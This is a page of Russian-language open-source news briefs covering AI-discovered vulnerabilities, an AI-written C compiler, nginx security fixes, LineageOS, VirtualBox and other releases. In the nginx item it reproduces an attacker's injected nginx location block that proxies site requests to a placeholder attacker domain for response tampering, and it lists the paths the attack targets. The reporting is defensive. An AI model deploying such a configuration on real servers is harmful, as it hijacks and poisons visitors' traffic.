| · | 08.02 | AI-модель Claude Opus 4.6 выявила более 500 ранее неизвестных уязвимостей (129 +14) |
|
Компания Anthropic объявила о расширении в AI-модели Claude Opus 4.6 возможностей по поиску уязвимостей в коде и поделилась результатами эксперимента, в ходе которого выявлено более 500 ранее неизвестных (0-day) уязвимостей в последних версиях различных открытых проектов. Работа была сфокусирована на поиске уязвимостей, вызванных проблемами при работе с памятью, так как их наличие проще проверить. Всем выявленным уязвимостям присвоен высокий уровень опасности. Каждая уязвимость была вручную проверена и подтверждена сотрудниками Anthropic или привлечёнными внешними исследователями безопасности.
Для анализа уязвимостей были привлечены кодовые базы популярных открытых проектов, уже длительное время проходящие непрерывное fuzzing-тестирование в сервисе OSS-Fuzz. В отличие от fuzzing-тестирования, при котором генерируется поток всевозможных случайных комбинаций входных данных, AI-модель пыталась анализировать код, учитывая прошлые исправления для выявления похожих неустранённых ошибок, выделяя проблемные шаблоны и логически выводя, какие входные данные могут нарушить ход выполнения. Информация о выявленных в ходе эксперимента уязвимостях уже начала передаваться сопровождающим, с которыми ведётся совместная работа по принятию исправлений. Чтобы помочь сопровождающим в ходе проведённой проверки вручную были разработаны патчи для исправления выявленных проблем. В качестве примера приведены три уязвимости в GhostScript, OpenSC и CGIF, которые на момент публикации устранены сопровождающими. Используемая для выявления проблем конфигурация не была похожа на традиционные системы автоматического поиска уязвимостей - модели Claude Opus 4.6 был предоставлен доступ к виртуальной машине, в которой помимо исследуемого кода были установлены типовые инструменты разработчиков (coreutils, Python и т.п.) и утилиты для отладки и анализа уязвимостей (в том числе утилиты для fuzzing-тестирования). Модели не давалась чёткая инструкция по использованию данных инструментов и не предоставлялись специальные сведения о методах поиска уязвимостей. Модели была лишь поставлена задача и предоставлена возможность самостоятельно рассуждать об оптимальном использовании доступных инструментов. Поиске уязвимостей в GhostScript AI-модель вначале попыталась провести fuzzing-тестирование, но когда это не привело к результату переключилась к анализу кода. Анализ кода тоже не дал результата и тогда модель начала изучать историю изменений в git и в одном из коммитов заметила упоминание проверки границ буфера. Разобрав коммит модель определила, что исправление добавляло недостающую проверку границ буфера при обработке шрифтов. Далее модель определила код, который был до исправления и попыталась найти в остальном коде похожие шаблоны использования проблемной функции, остающиеся неисправленными. В итоге в файле gdevpsfx.c был выявлен вызов функции gs_type1_blend без проверки корректности значений. В финале модель подобрала содержимое файла, обработка которого приводила к аварийному завершению из-за записи данных в область памяти вне выделенного буфера. В CGIF AI-модель отталкивалась от того, что при распаковке GIF-файлов библиотека рассматривала, что размер сжатых данных всегда меньше распакованных. Поиск уязвимости был сосредоточен на определении условий, при которых сжатые алгоритмом LZW данные окажутся больше распакованных. Подобные условия были найдены и AI-модель смогла сформировать GIF-файл, обработка которого привела к переполнению буфера. В OpenSC проблема была выявлена после анализа использования в коде потенциально опасных функций strrchr и strcat. Отмечается, что языковые модели достигли уровня, позволяющего выявлять ранее неизвестные уязвимости, и в ближайшее время превзойдут экспертов по безопасности по скорости и масштабу поиска уязвимостей. Предполагается, что рост числа выявляемых уязвимостей потребует реформирования сложившихся процессов раскрытия информации, так как ныне выделяемых на исправление 90-дней будет недостаточно.
| ||
|
Обсуждение (129 +14) |
Тип: Проблемы безопасности |
| ||
| · | 08.02 | Сопровождающий 16 модулей GNOME ограничит своё участие в проекте (55 +18) |
|
Кристиан Хергерт (Christian Hergert), автор интегрированной среды разработки GNOME Builder, эмулятора терминала Ptyxis и текстового редактора GNOME Text Editor, объявил, что в связи с переездом из США во Францию и изменением приоритетов в жизни, больше не сможет уделять должное внимание разработке GNOME. Кристиан являлся почти единственным активным сопровождающим 16 модулей GNOME и более сорока часов в неделю уделял поддержке и развитию стека GNOME. Отмечается, что после переезда его возможности по участию в разработке будут сильно ограничены и основное время он будет уделять семье, новой деятельности и налаживанию быта на новом месте.
В качестве причины переезда упоминается новая миграционная политика США (у Криса жена родом из Тибета). Крис был трудоустроен в Red Hat, но данная компания отклонила его просьбу сохранить должность после переезда во Францию, несмотря на предоставление доказательства наличия рисков для его семьи. Cписок модулей, сопровождением и разработкой которых занимался Крис:
| ||
|
Обсуждение (55 +18) |
Тип: Программы |
| ||
| · | 08.02 | Опубликована мобильная платформа LineageOS 23.2 (77 +21) |
|
Доступен выпуск мобильной платформы LineageOS 23.2, продолжающий развитие кодовой базы на основе Android 16. Ветка LineageOS 23.2 достигла паритета по функциональности и стабильности c веткой 23.0, и признана готовой для формирования релиза. Сборки подготовлены для 148 моделей устройств. LineageOS также можно запустить в эмуляторе Android Emulator, в QEMU и в среде Android Studio. Дополнительно, предоставлена возможность сборки в режиме Android TV и Android Automotive.
Выпуск LineageOS 23.2 примечателен синхронизацией с актуальной кодовой базой из репозитория AOSP (Android Open Source Project), соответствующей второму квартальному обновлению платформы Android 16 (QPR2). Выпуск LineageOS 23.1 пропущен, так как AOSP теперь обновляется раз в полгода, а не раз в квартал. В дальнейшем промежуточные релизы LineageOS будут выпускаться не четыре, а два раза в год. Из функциональных изменений в LineageOS 23.2 отмечается задействование нового оформления и цветовой схемы, соответствующих предложенной в Android 16 концепции дизайна Material Expressive 3. Приложения обновлены и по возможности также переведены на концепцию оформления Material Expressive. Среди прочего новое оформление задействовано в музыкальном проигрывателе Twelve (Music Player), часах Deskclock и калькуляторе ExactCalculator. Обновлён интерфейс выпадающей панели с быстрыми настройками - плитки в панели теперь полностью настраиваются. В дополнение к базовой теме оформления предложена опциональная расширенная тёмная тема. Расширена функциональность утилит для работы с файлами. Для разработчиков прошивок предложено несколько новых утилит для извлечения RRO (Runtime Resource Overlay), обновления сертификатов приложений, извлечения правил SELinux и файлов конфигурации из системных образов. Отдельно отмечена значительная переработка программы для управления обновлением прошивки (Updater), в которой полностью переделан интерфейс, улучшено управление обновлениями и добавлена анимация прогресса выполнения операций. Переделанный вариант Updater признан не готовым для включения в состав LineageOS 23.2, но он будет предложен в скором времени после достижения должного уровня стабильности.
| ||
|
Обсуждение (77 +21) |
Тип: Программы |
| ||
| · | 07.02 | Инициатива по встраиванию моделей машинного обучения в ядро Linux (172 –39) |
|
Вячеслав Дубейко из компании IBM запустил в списке рассылки разработчиков ядра Linux обсуждение использования в ядре моделей машинного обучения, а также предложил для тестирования набор патчей с библиотекой для интеграции ML-моделей в ядро и примером символьного драйвера, использующего библиотеку.
Интеграция ML-моделей в ядро может быть полезной для изменения логики работы подсистем с учётом обрабатываемых данных, оптимизации работы и изменения конфигурации в зависимости от внутреннего состояния систем. Применение машинного обучения, способного выявлять закономерности и строить прогнозы без ручной реализации алгоритмов, упростит подбор наиболее эффективной конфигурации ядра c учётом сложности и изменчивости современных рабочих нагрузок, а также позволит решать такие проблемы, как предсказание сбоев систем хранения. Помимо движка для выполнения моделей рассматривается разработка инструментов сбора данных для обучения ML-моделей, непосредственно обучения модели и тестирования результата. Так как для выполнения ML-модели требуются операции с плавающей запятой, а в ядре не допускается прямое использование FPU, предложенный прототип представляет собой прослойку для обращения из различных подсистем ядра к ML-моделям, выполняемым в пользовательском пространстве, по аналогии с выносом в пользовательское пространство обработчиков SPDK, DPDK и ublk. Вынос выполнения и обучения модели в пространство пользователя упрощает сопровождение и изолирует ядро от проблем в коде выполнения модели. На стадии обучения данные о состоянии и параметрах ядра могут как запрашиваться обработчиком из пользовательского пространства, так и передаваться прослойкой, выполняемой на уровне ядра. Для управления взаимодействия компонентами в ядре и пользовательском пространстве применяется sysfs. Возможно адаптивное обучение ML-модели, при котором подсистема ядра получает рекомендацию от ML-модели, применяет рекомендуемое изменение и оценивает эффективность рекомендации по изменению состояния.
| ||
|
Обсуждение (172 –39) |
Тип: К сведению |
| ||
| · | 07.02 | Anthropic опубликовал Си-компилятор, созданный AI-моделью Claude Opus и способный собрать ядро Linux (345 –13) |
|
В качестве демонстрации возможности автономно создавать крупные проекты при помощи новой AI-модели Claude Opus 4.6, компания Anthropic сгенерировала компилятор для языка Си - claudes-c-compiler, пригодный для сборки ядра Linux, PostgreSQL, SQLite, Redis, FFmpeg, GNU coreutils, Busybox, CPython, QEMU, LuaJIT и ещё около 150 протестированных известных открытых проектов. Результирующие сборки успешно прошли предоставляемые проектами тестовые наборы. Собранное ядро Linux успешно загружается и даёт возможность запустить игру Doom. Код компилятора сгенерирован на языке Rust и опубликован как общественное достояние (CC0). Поддерживается компиляция проектов для архитектур x86_64, i686, AArch64 и RISC-V 64.
Весь код и документация к компилятору сгенерированы моделью Claude Opus 4.6. Участие человека свелось к определению тестовых сценариев, которым должен удовлетворять итоговый продукт. Интерактивный режим для разработки, отладки и контроля над качеством не применялся, Модель Claude Opus сама выполнила всю работу на основе поставленной задачи. Ручное рецензирование корректности работы компилятора не проводилось, поэтому он не рекомендован для использования помимо экспериментов. Степень прохождения тестовых наборов компиляторов, включая GCC Torture Tests, составляет 99%. Для разработки компилятора было привлечено 16 AI-агентов, которые после двух недель работы и около двух тысяч сеансов в Claude Code сгенерировали 100 тысяч строк кода на Rust, выполняющих задачу сборки ядра Linux 6.9 для архитектур x86, ARM и RISC-V. При генерации кода использовался новый режим работы "agent teams", позволяющий организовать параллельную работу нескольких AI-агентов Claude над одной общей кодовой базой, осуществляемую автономно без вмешательства человека. По стоимости доступа к API создание компилятора оценено в 20 тысяч долларов (передано 2 миллиарда входных токенов и сгенерировано 140 миллионов выходных токенов). Компилятор самодостаточен и не требует внешних зависимостей, кроме стандартной библиотеки Rust. Все компоненты созданы с нуля, включая фронтэнд, промежуточное представление (IR) на базе SSA, оптимизатор, генератор кода, ассемблер, компоновщик и генератор отладочной информации в формате DWARF. Фронтэнд совместим на уровне опций с GCC и может использоваться в качестве прозрачной замены GCC. На выходе генерируются исполняемые файлы в формате ELF. Поддерживается только платформа Linux (задача поддержки macOS и Windows не ставилась). Из ограничений отмечается отсутствие раздельных уровней оптимизации (уровни с -O0 по -O3, -Os и -Oz приводят к одинаковой оптимизации), имеются проблемы с использованием _Atomic и _Complex, частично поддерживается ключевое слово __attribute__ и частично реализовано использование инструкций NEON. Помимо ограничений, описанных в подготовленной AI документации к компилятору, в статье с анонсом проекта упоминаются некоторые дополнительные проблемы:
| ||
|
Обсуждение (345 –13) |
Интересно
| ||
| · | 07.02 | Выпуск Wine 11.2 (44 +19) |
|
Опубликован экспериментальный выпуск открытой реализации Win32 API - Wine 11.2. С момента выпуска 11.1 было закрыто 32 отчёта об ошибках и внесено 238 изменений.
Наиболее важные изменения:
| ||
|
Обсуждение (44 +19) |
Тип: Программы |
| ||
| · | 06.02 | Выпуск свободного звукового редактора Ardour 9.0 (42 +22) |
|
Опубликован релиз свободного звукового редактора Ardour 9.0, предназначенного для многоканальной записи, обработки и микширования звука. В Ardour предоставляется мультитрековая шкала времени, неограниченный уровень отката изменений на всем протяжении работы с файлом (даже после закрытия программы), поддержка разнообразных аппаратных интерфейсов. Программа позиционируется как свободный аналог профессиональных средств ProTools, Nuendo, Pyramix и Sequoia. Код распространяется под лицензией GPLv2. В ближайшее время неофициальные сборки для Linux будут сформированы в формате Flatpak.
Ключевые изменения:
| ||
|
Обсуждение (42 +22) |
Тип: Программы |
| ||
| · | 06.02 | Защита от мусорных AI-изменений на GitHub. Оценка влияния вайб-кодинга на экосистему открытого ПО (173 +29) |
|
Камилла Мораес (Camilla Moraes), менеджер по продукту из компании GitHub, начала обсуждение добавления в GitHub возможности для автоматической блокировки мусорных pull-запросов, сгенерированных в AI-ассистентах, отправленных без ручной проверки и не соответствующих требованиям качества. Подобные изменения создают дополнительную нагрузку на сопровождающих, которые вынуждены тратить время на разбор бесполезного кода.
В качестве краткосрочных путей решения проблемы рассматривается возможность быстрого удаления pull-запросов через web-интерфейс (удаления без оседания в истории вместо пометки закрытыми) и использование настраиваемых прав на отправку pull-запросов, позволяющих владельцам репозиториев разрешать передачу изменений только участникам, ранее вносившим изменения. Из решений в долгосрочной перспективе упоминается расширение модели полномочий и предоставление сопровождающим инструментов для гибкого задания правил, определяющих кто имеет право создавать и рецензировать pull-запросы и каким требованиям должны соответствовать pull-запросы. Кроме того, предлагается задействовать AI для определения соответствия отправленного изменения правилам и стандартам качества каждого проекта (например, заданным в файле CONTRIBUTING.md), а также выявления и специальной пометки изменений, подготовленных при помощи AI. Из высказанных в процессе обсуждения предложений также можно отметить создание фильтра, запрещающего отправку pull-запросов без предварительного открытия issue-обсуждений с пояснением причин реализации изменений, а также информирование сопровождающих о поступлении pull-запросов от новичков только после успешного прохождения тестов в системе непрерывной интеграции. По статистике одного из ключевых разработчиков фреймворка genkit лишь одно из десяти изменений, подготовленных в AI, соответствует критериям для открытия pull-запроса. Один из участников проекта Azure Core Upstream подытожил основные опасения сопровождающих:
Дополнительно можно отметить проведённое несколькими европейскими университетами исследование влияния вайб-кодинга на экосистему открытых проектов. Исследователи разработали модель равновесия экосистемы открытого кода, которая показала, что обратные связи, ранее отвечавшие за взрывной рост открытых проектов, после распространения вайб-кодинга создают обратный эффект - уменьшается число разработчиков готовых делиться кодом, сокращается разнообразие открытых проектов и снижается качество. Одним из вариантов решения проблемы упоминается внедрение модели финансирования, напоминающей Spotify, при которой AI‑платформы перераспределяют доходы от подписок на сервисы для разработчиков среди сопровождающих, в зависимости от степени использования проектов. При вайб-кодинге разработчики перестают анализировать доступные решения, читать документацию, отправлять сообщения об ошибках и взаимодействовать с командами, развивающими открытые библиотеки. Открытые проекты теряют обратную связь с пользователям. Новым проектам становится сложнее пробиться, так как AI-ассистенты сами подбирают необходимые открытые библиотеки на основе информации, имевшейся на момент обучения модели. Из-за снижения прямого взаимодействия с пользователями страдает монетизация открытых проектов, завязанных на услугах поддержки и показе рекламы/сборе пожертвований на сайтах. Из-за снижения обратной связи страдает качество. С другой стороны, вайб-кодинг повышает производительность труда при создании новых продуктов, основанных на чуждом коде, и упрощает внедрение новых библиотек. Как пример приведён проект Tailwind CSS, число загрузок которого из репозитория NPM продолжает расти, но трафик к документации с начала 2023 года снизился на 40%, а доходы упали на 80%. Также отмечено снижение активности обсуждений на Stack Overflow примерно на 25%, спустя 6 месяцев после запуска ChatGPT.  
| ||
|
Обсуждение (173 +29) |
Тип: К сведению |
| ||
| · | 06.02 | Девятый экспериментальный выпуск среды рабочего стола Orbitiny (85 +13) |
|
Опубликован девятый выпуск среды рабочего стола Orbitiny Desktop, написанной с нуля с использованием фреймворка Qt. Проект пытается совместить некоторые инновационные идеи, которые раньше не встречались в пользовательских окружениях, с традиционными элементами, такими как панель с поддержкой плагинов, меню приложений и рабочий стол, на котором можно размещать ярлыки. Работа пока сосредоточена на запуск в окружениях на базе X-сервера, но в будущем не исключается добавление поддержки Wayland. Код написан на языке C++ и распространяется под лицензией GPL.
Из специфичных для Orbitiny возможностей отмечается: вызов действий через экранные жесты (очерчивание мышью определённого контура на пустой области рабочего стола); метки на пиктограммах (показываются для новых, изменённых, пустых или перемещённых через буфер обмена файлов, а также пустых каталогов); возможность вставки файла одновременно в несколько выбранных каталогов; поддержка размещения содержимого рабочего стола в любом каталоге (не только в $HOME/Desktop); использование отдельных десктоп-каталогов для каждого виртуального рабочего стола и монитора. Список типовых возможностей Orbitiny можно посмотреть в прошлом анонсе.  Среди изменений:
| ||
|
Обсуждение (85 +13) |
Тип: Программы |
| ||
| · | 06.02 | Поставка ОС Aluminium намечена на 2028 год. Поддержка ChromeOS сохранится до 2034 года (101 –6) |
|
В открытый доступ попали новые подробности о продвижении операционной системы Aluminium, развиваемой Google для ноутбуков, мини-ПК и планшетов в соответствии с планом по слиянию платформ Android и Chrome OS. В транскрипции выступления представителя Google на судебном заседании, связанном с антимонопольным разбирательством Министерства юстиции США против Google, упоминается, что поддержка устройств Chromebook с операционной системой ChromeOS продлится до 2034 года, а первые массовые продукты на платформе Aluminium запланированы на 2028 год. При этом тестовые решения на базе Aluminium намерены начать публиковать уже в конце этого года.
В Aluminium преимущественно используется архитектура и компоненты платформы Android, а интерфейс близок к развиваемому в ветке Android 16 десктоп-режиму для больших экранов, позволяющему одновременно работать с окнами нескольких приложений по аналогии с традиционной средой рабочего стола. При этом в платформе также задействованы отдельные системные сервисы, приложения, элементы прошивки, фоновые процессы и библиотеки из ChromeOS, а также перенесённый из Chrome OS интерфейс запуска приложений (Launcher). Из Android задействовано ядро Linux, GKI-модули (Generic Kernel Image), компоненты взаимодействия с оборудованием (HAL), Android Runtime, Android API, часть системных фоновых процессов и библиотек.
| ||
|
Обсуждение (101 –6) |
Тип: К сведению |
| ||
| · | 06.02 | В марте состоятся детско-юношеские соревнования Linux-skills (57 +10) |
|
Открыта регистрация на детско-юношеские соревнования по Linux - "Linux-skills", которые пройдут в рамках фестиваля технического творчества "ТехноКакТУС". Соревнования проводятся в двух номинациях: Alt-skills (ALT Linux) и Calculate-skills (Calculate Linux), в трёх возрастных группах: 10-13 лет, 14-17 лет, 18-22 лет.
С 1 марта по 10 марта 2026 года пройдёт онлайн отборочный этап, на котором участники пройдут тестирование. C 25 марта по 1 апреля 2026 года состоится финал - участникам будет предоставлен доступ к виртуальному стенду, на котором нужно будет настроить сеть и перевести рабочие станции с ОС MS Windows на Linux, после чего выполнить настройку Linux и сетей. В соревнованиях используются дистрибутивы Simply Linux и Calculate Linux, OpenWRT на маршрутизаторах. Финал пройдёт очно на опорных площадках в Москве, Московской области (Щёлково) и Санкт-Петербурге. По запросу участников площадки могут быть организованы и в других городах.
| ||
| · | 05.02 | Nginx 1.29.4 с устранением уязвимости. Атаки, меняющие настройки nginx для перенаправления трафика (18 +11) |
|
Сформирован выпуск основной ветки nginx 1.29.5, в рамках которой продолжается развитие новых возможностей, а также выпуск параллельно поддерживаемой стабильной ветки nginx 1.28.2, в которую вносятся только изменения, связанные с устранением серьёзных ошибок и уязвимостей. В обновлениях устранена уязвимость (CVE-2026-1642), позволяющая атакующему, имеющему возможность вклиниться (MITM) в канал связи между nginx и upstream-сервером, подставить отправляемые клиенту ответы. Проблема затрагивает конфигурации, проксирующие запросы (HTTP 1.x, HTTP/2, gRPC или uWSGI) к вышестоящему серверу с использованием TLS-шифрования.
Помимо уязвимости в выпуске 1.29.5 снижен с "crit" до "info" уровень логгирования SSL-ошибок "ech_required", а также устранено несколько проблем: устранено обращение к уже освобождённой памяти (use-after-free) после переключения на следующий бэкенд gRPC или HTTP/2; решена проблема с отправкой некорректного запроса HTTP/2 после переключения на следующий
upstream-сервер; исправлено разрастание размера ответа с несколькими диапазонами; налажено выставление переменной HTTP_HOST при проксировании к бэкендам FastCGI, SCGI и uwsgi.
Дополнительно можно отметить выявление автоматизированной атаки, которая после успешного взлома серверов ограничивается изменением конфигурации nginx. Взлом осуществляется через неисправленную уязвимость React2Shell в серверных компонентах React на системах с панелями управления хостингом, такими как Baota (BT). Вносимые в конфигурацию nginx изменения перенаправляли запросы к обслуживаемым сайтам на сервер атакующих, который осуществлял подстановку вредоносных изменений в возвращаемый пользователю ответ.
location /%PATH%/ {
set $fullurl "$scheme://$host$request_uri";
rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break;
proxy_set_header Host [Attacker_Domain];
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header User-Agent $http_user_agent;
proxy_set_header Referer $http_referer;
proxy_ssl_server_name on;
proxy_pass http://[Attacker_Domain];
}
Таким образом вместо установки руткитов или вредоносного ПО на сервер, организована атака на клиентов, открывающих обслуживаемый на сервере сайт, без непосредственного изменения компонентов сайта на сервере. Атака в основном нацелена на перехват трафика доменов азиатских стран, а также доменов *.edu и *.gov. Через сервер атакующих перенаправляются выборочные запросы, например, содержащие в путях слова "pg", "pgslot", "slot", "game", "casino", "live", "help", "news", "page", "blog", "about", "support" и "info". Атака производится автоматизированно с использованием инструментария, выполняющего поиск и анализ конфигурации nginx, выбор и подстановку шаблона настроек, перезапуск nginx и проверку работы изменённого варианта.
| ||
|
Обсуждение (18 +11) |
Тип: Проблемы безопасности |
| ||
| · | 05.02 | Microsoft развивает открытую систему sandbox-изоляции Litebox (78 +6) |
|
Джеймс Моррис (James Morris), мэйнтенер подсистемы обеспечения безопасности ядра Linux, возглавляющий в компании Microsoft команду "Linux Emerging Technologies", представил проект Litebox, позиционируемый как сфокусированная на безопасности операционная система в форме библиотеки (Library OS). Litebox может использоваться в программах или ядрах как дополнительный слой изоляции, блокирующий доступ к излишней функциональности ядер или API для снижения поверхности атак. Код проекта написан на языке Rust и открыт под лицензией MIT.
Идея "Library OS" в том, что сервисы операционной системы напрямую встраиваются в приложение вместо обращения к внешнему ядру ОС при помощи системных вызовов. В контексте Litebox к приложениям подключается изолирующая прослойка, предоставляющая минимальную платформу, транслирующую запросы к внешнему полнофункциональному программному интерфейсу. В качестве подобных внешних интерфейсов могут выступать ядро Linux, защищённые изолированные окружения OP-TEE (Open Portable Trusted Execution Environment), Webassembly-окружения или стандартная библиотека RustStd.  Формируемая через Litebox минимальная платформа применима для запуска приложений Linux, Windows и FreeBSD, вложенных ядер Linux и LVBS (Linux Virtualization Based Security). В качестве возможных областей применения Litebox упоминается обеспечения запуска немодифицированных Linux-программ в Windows, изоляция выполнения Linux-приложений на системах с ядром Linux, запуск программ поверх AMD SEV SNP для шифрования памяти, выполнение OP-TEE-программ в Linux и изоляция с использованием концепции LVBS. Проект LVBS, представители которого участвуют в разработке Litebox, развивает методы для защиты компонентов ядра Linux, использующие возможности гипервизоров и аппаратной виртуализации. Например, при помощи гипервизора могут изолироваться операции контроля подлинности модулей, верификации, управления доступом к паролям, ключам, структурам ядра и другим критически важным ресурсам. В случае эксплуатации уязвимости и компрометации ядра, атакующий не сможет получит доступ к подобным ресурсам, так как их обработчики выполняются вне текущего уровня привилегий. Litebox рассматривается в контексте проекта LVBS как "безопасное ядро", защищающая обычное ядро гостевой системы при помощи аппаратной виртуализации.
| ||
|
Обсуждение (78 +6) |
Тип: К сведению |
| ||
| · | 05.02 | JetBrains переводит IDE IntelliJ на использование Wayland по умолчанию (138 –2) |
|
Компания JetBrains объявила о решении включить по умолчанию поддержку работы с использованием протокола Wayland в интегрированных средах разработки на базе будущего выпуска IntelliJ 2026.1. До релиза протестировать поддержку Wayland можно воспользовавшись EAP-сборками IntelliJ IDEA (Early Access Program). IDE, основанные на IntelliJ, теперь смогут напрямую запускаться в средах рабочего стола на базе Wayland без использования XWayland. Поддержка бэкенда XToolkit для X11 будет оставлена в качестве опции.
Отмечается, что с момента прошлого тестирования прямой работы поверх Wayland в 2024 году, в реализации повышена стабильность работы поверх различных композитных серверов, добавлена функциональность drag-and-drop, обеспечена поддержка методов ввода и обеспечено естественно выглядящее декорирование окон. Из отличий поведения от сборки на базе X11 отмечается отсутствие центрирования или восстановления прошлого положения некоторых окон и диалогов, невозможность выноса некоторых всплывающих окон за пределы основного окна, отдельные несоответствия элементов декодирования окон (заголовок, кнопки управления оконном, тени, скругление углов) активной теме оформления рабочего стола. Разработанный для IntelliJ Wayland-бэкенд WLToolkit открыт под лицензией GPLv2 и включён в состав JetBrainsRuntime (редакция OpenJDK). Со временем подготовленный Wayland-бэкенд может быть перенесён в основной состав OpenJDK. JetBrains также участвует в разработке проекта Wakefield, развивающего компоненты для поддержки Wayland в OpenJDK, позволяющие напрямую запускать графические Java-приложения в окружениях на базе Wayland.
| ||
|
Обсуждение (138 –2) |
Тип: К сведению |
| ||
| · | 05.02 | В VirtualBox добавлена предварительная поддержка работы поверх гипервизора KVM (103 +30) |
|
В репозиторий системы виртуализации VirtualBox добавлены изменения, позволяющие использовать встроенный в ядро Linux гипервизор KVM вместо специфичного модуля ядра VirtualBox (vboxdrv). Реализация подготовлена сотрудниками Oracle и развивается отдельно от набора патчей VirtualBox-KVM, поддерживаемого компанией Cyberus Technology. Отмечается, что Oracle начала работу над KVM-бэкендом несколько лет назад, но из-за нехватки инженерных ресурсов его разработка затянулась.
Начиная с коммита 5cb05ca, бэкэнд KVM находится в более или менее рабочем состоянии, по крайней мере для более "современных" гостевых систем. Старые и экзотические ОС, такие как MS-DOS, ещё не поддерживаются или не оттестированы. Если VirtualBox не может получить доступ к собственным драйверам ядра, он переключится на работу с использованием KVM, если он доступен. Сохранённые состояния между родным гипервизором и KVM должны быть совместимы. Тестовых сборок пока нет, и код доступен только в текущем GIT-срезе. Реализованный бэкенд решит проблемы с запуском VirtualBox в дистрибутивах с поддержкой UEFI Secure Boot, таких как Fedora и RHEL, которые отказываются подписывать сторонние драйверы. Поддержка KVM также позволит запускать VirtualBox в Linux-системах, ещё не поддерживаемых в драйвере vboxdrv, использовать VirtualBox одновременно с другими системами виртуализации на базе KVM и задействовать расширенные механизмы аппаратного ускорения виртуализации, поддерживаемые в KVM, но не применяемые в VirtualBox (например, расширение APICv для виртуализации контроллера прерываний).
| ||
| Следующая страница (раньше) >> | ||
